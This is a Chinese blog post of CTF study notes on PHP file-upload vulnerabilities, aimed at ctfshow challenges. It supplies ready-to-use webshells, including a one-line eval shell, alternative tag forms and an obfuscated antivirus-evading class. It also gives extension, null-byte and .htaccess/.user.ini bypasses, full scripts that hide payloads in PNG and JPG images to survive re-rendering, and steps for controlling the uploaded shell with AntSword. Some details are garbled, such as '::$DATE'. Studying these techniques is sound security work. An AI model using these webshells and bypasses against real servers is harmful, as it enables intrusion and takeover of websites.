基础文件上传学习笔记
网站实现文件上传功能模块:
1.浏览器页面的实现
注意:input type类型必须为file
文件上传代码格式如下
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
简单利用:通过文件上传模块,进行一句话上传webshell的上传,并使用蚁剑(这个菜刀也可以,但是我更爱用蚁剑)进行连接。
文件上传基本知识
原理:文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
备用知识——>webshell:WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
这里是查找到的文章,都是以我的理解大概就是一句话木马来通过上传文件来访问服务器后台来获取网站的后台内容
会有文件上传漏洞的原因:
1.没有对文件后缀名进行限制
2.没有对文件进行检查
3.没有限制文件内容的执行权限
文件上传后导致的常见安全问题一般有:
1.上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
2.上传文件是Flash的策略文件crossdomain.xml,用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
3.上传文件是病毒、木马文件,用以诱骗用户或者管理员下载执行:
4.上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
了解一下:还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)"执行此脚本;等等。(挺难的暂时大概用不到)
那么文件上传要传的是什么呢?
这里我直接给出一句话木马php文件的代码
<?php @eval($_POST[cmd]);?>
其中,里面的cmd是可以替换成你喜欢的任何东西的,这里基本没有限制但是我这里习惯了,基本都用cmd了,你可以根据自己习惯和喜好换成更为简洁的指令或者自己喜欢的指令,但是建议是好打一点的指令,后面会说在哪里用到的(就在蚁剑的使用那边)
蚁剑的使用
蚁剑是文件上传里很常见的工具,用来访问网站的后台的数据的,下载方法这里就不多讲解了,大家自行查询百度来装配,这里就不多讲解了,但是我在装配的时候有遇到一些问题还是帮大家避避雷
https://github.com/AntSwordProject/AntSword-Loader(这里是蚁剑的下载地址,大家可以自行下载)
避雷
1.蚁剑是会被当成病毒被windows消杀的,大家要在装配的文件夹里进行加白来防止蚁剑被windows删除
2.打开蚁剑的exe后加载源码是在下载完蚁剑的核心原码那边,不用另外去开一个文件夹
具体使用方法
先展示一下蚁剑打开后的样子
在这里,直接在空白处右键来有个添加数据打开窗口如下
url地址就为题目上传一句话木马后去查询文件地址的url,然后上面说的cmd就是在这里用的,就是为蚁剑的连接密码(这里以ctfshow的第一道文件上传的题目为例)
再然后测试连接显示连接成功就可以双击url来查看网站的目录了
然后再自行查找flag的位置就行了
这里只是讲解了蚁剑在简单文件上传的使用方法就不过解释其他用处了
文件上传的做题姿势
没有限制的文件上传基本没有了,使用文件上传的题目大多数都是靠着绕过来增加难度的,不然只靠我上面讲解的工具的使用以及原理的理解就够了(先给个思维导图,方便大家理解,这也是网上找的)
js检查/源码检察
解题思路
判断完是否存在js前端绕过漏洞后,就直接打开F12改前端的代码,添加php文件就可以
例题演示
这里用ctfshow的文件上传的第一道题来进行演示(这里是html的改变,js的大家根据以下方法改变js就行)
首先,要进行判断(但是这里题目直接明示了,我就不做演示了)
然后,打开F12寻找限制网页限制只能上传png文件的代码(这里我直接搜索png就找到了)
接着,直接将png改为php,就能上传一句话木马,再访问其路径
最后,利用蚁剑来进行访问网站的目录即可(上面蚁剑的使用有讲解这里就不多讲述了)
讲解第一题,怕大家看不明白,就讲解得仔细些,希望大家可以看明白
检查后缀
一般的网站会禁用文件头和或者文件尾来防止其他人利用文件上传漏洞,但是在这种时候,却可以通过配置文件或者更改一句话木马格式和改变文件未来解决这个问题下面给常用的绕过类型的文件尾总结给你们了,下面所说的是常用的,并没有所有都有。
大小写
后缀名改变为某一个或几个为大写的文件,可以被网页不解析为php文件但是后台解析为php文件
如Php、phP、pHp
点绕过
在windows中php会自动去除后缀名中最后的 “.” 的符号
空格绕过
::$DATE绕过
直接在文件尾加上::$DATE就行,系统会自动将这串忽略掉
如:1.php::$DATE
双写后缀名绕过
有些站点判断方式会把文件后缀名替换为空字符,遇到这种情况我们只需要双写后缀名来绕过,
如1.phphpp
截断绕过
截断绕过一共有三种,%00、0x00、0x0a,他们的原理是说00代表结束符,所以会把文件名00后面的内容删掉,但是这是php版本为5.3.4的漏洞,后面就被修复了
如1.php%00.jpg
MIME绕过
MIME为配置文件,也就是说先上传一个.htaccess或者,user,ini文件来让传上去的文件可以被解析为php一般的配置为文件内的代码如下
auto_prepend_file=1.png(.user,ini)
AddType application/x-httpd-php .jpg(.htaccess)
检查内容
有些出题人会直接让代码查看上传文件的内容,这时候,也会有相应的一句话木马进行绕过,一下会举例一些文件上传中关于内容检查绕过的
1.检测<php ?>
这时候就要改变一句话木马的格式,不能用常规的php格式代码,但是却可以用其他的格式代码来形成php的格试的文件上传,也就是尝试其他形式,如:
<script language="php">@eval($_POST['cmd']);</script>
或者说这样子传也行
<?=eval($_POST['cmd']);?>
2.检测敏感内容
可以通过传一个php免杀马来进行绕过来,不知这一种形式的php免杀马,所有如过题目有特许要求,请自行去学习来绕过
这一片文章讲这种内容听好的就放在下面让大家学习了
https://www.cnblogs.com/lxfweb/p/13663926.html
<?php
class shawaf{
var $a;
var $b;
function __construct($a,$b)
{
$this->a=$a;
$this->b=$b;
}
function test(){
forward_static_call_array($this->a,$this->b);
}
}
$s1= new shawaf(assert,array($_POST["cmd"]));
$s1->test();
?>
3.二次渲染
二次渲染中就是将源码插入图片的ASCII码中,让后让网站解析
gif类型的直接渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可,以下是png类型的二次上传的脚本,直接用就行,
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
以下是jpg形式的脚本,有很打可能会失败,要多是几次才行
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
总结
文件上传类型的题目的类型就是说要将木马传给后台解析,以上已经有很多种的绕过的方式但是文件上传远远不止这些,希望在往后的阅读文章和比赛中可以来学到更多
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix